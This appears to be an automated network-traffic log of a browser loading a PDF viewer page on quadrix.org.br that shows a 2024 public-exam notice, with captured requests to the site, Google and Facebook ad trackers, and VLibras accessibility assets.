Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&eitems=ChEI8Iv3sQYQnJ36u-Ls4rfyARIdANVWnwSHLPtSeYc8yHAteX65LgFnYc2bmyVsjGU&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR0cHM6Ly93d3cucXVhZHJpeC5vcmcuYnIv HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/341894994/?random=1715325658478&cv=11&fst=1715324400000&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqOa3VxFTcJB1H7Dtw1_cxIhIczu4LLQ&random=2022932343&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger;navigation-sourceReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR0cHM6Ly93d3cucXVhZHJpeC5vcmcuYnIv&is_vtc=1&cid=CAQSKQB7FLtq9lj-dvQYV1Zk09wFkRrgQMbPiG-IibyeHA3scIjdREZio3d8&eitems=ChEI8Iv3sQYQnJ36u-Ls4rfyARIdANVWnwSzQgOZpB5Syu8e3a8HfyaqlOcPJ5s3CvI&random=2270171957 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/341894994/?random=1715325658478&cv=11&fst=1715324400000&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqOa3VxFTcJB1H7Dtw1_cxIhIczu4LLQ&random=2022932343&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/?next=https%3A%2F%2Fwww.facebook.com%2Fprivacy_sandbox%2Fpixel%2Fregister%2Ftrigger%2F%3Fid%3D516356326232506%26ev%3DPageView%26dl%3Dhttps%253A%252F%252Fwww.quadrix.org.br%252Fweb%252Fvisualizar.html%253Ffile%253Dhttps%253A%252F%252Fwww.quadrix.org.br%252FArchives%252FGeneral%252F30728%252F31054%252F31055%252FE041D722C411%252F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf%26rl%26if%3Dfalse%26ts%3D1715325659398%26sw%3D1280%26sh%3D1024%26v%3D2.9.156%26r%3Dstable%26a%3Dtmgoogletagmanager%26ec%3D0%26o%3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger;navigation-sourceReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR0cHM6Ly93d3cucXVhZHJpeC5vcmcuYnIv&is_vtc=1&cid=CAQSKQB7FLtq9lj-dvQYV1Zk09wFkRrgQMbPiG-IibyeHA3scIjdREZio3d8&eitems=ChEI8Iv3sQYQnJ36u-Ls4rfyARIdANVWnwSzQgOZpB5Syu8e3a8HfyaqlOcPJ5s3CvI&random=2270171957 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /build/pdf.worker.js HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /login/?next=https%3A%2F%2Fwww.facebook.com%2Fprivacy_sandbox%2Fpixel%2Fregister%2Ftrigger%2F%3Fid%3D516356326232506%26ev%3DPageView%26dl%3Dhttps%253A%252F%252Fwww.quadrix.org.br%252Fweb%252Fvisualizar.html%253Ffile%253Dhttps%253A%252F%252Fwww.quadrix.org.br%252FArchives%252FGeneral%252F30728%252F31054%252F31055%252FE041D722C411%252F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf%26rl%26if%3Dfalse%26ts%3D1715325659398%26sw%3D1280%26sh%3D1024%26v%3D2.9.156%26r%3Dstable%26a%3Dtmgoogletagmanager%26ec%3D0%26o%3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /app//assets/access_icon.svg HTTP/1.1Host: vlibras.gov.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app//assets/access_popup.jpg HTTP/1.1Host: vlibras.gov.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.quadrix.org.br/build/pdf.worker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /web/images/shadow.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /web/images/loading-icon.gif HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_icon.svg HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_popup.jpg HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web/images/loading-small.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.quadrix.org.br/web/viewer.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /web/images/shadow.png HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
Source: global traffic	HTTP traffic detected: GET /web/images/loading-icon.gif HTTP/1.1Host: www.quadrix.org.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
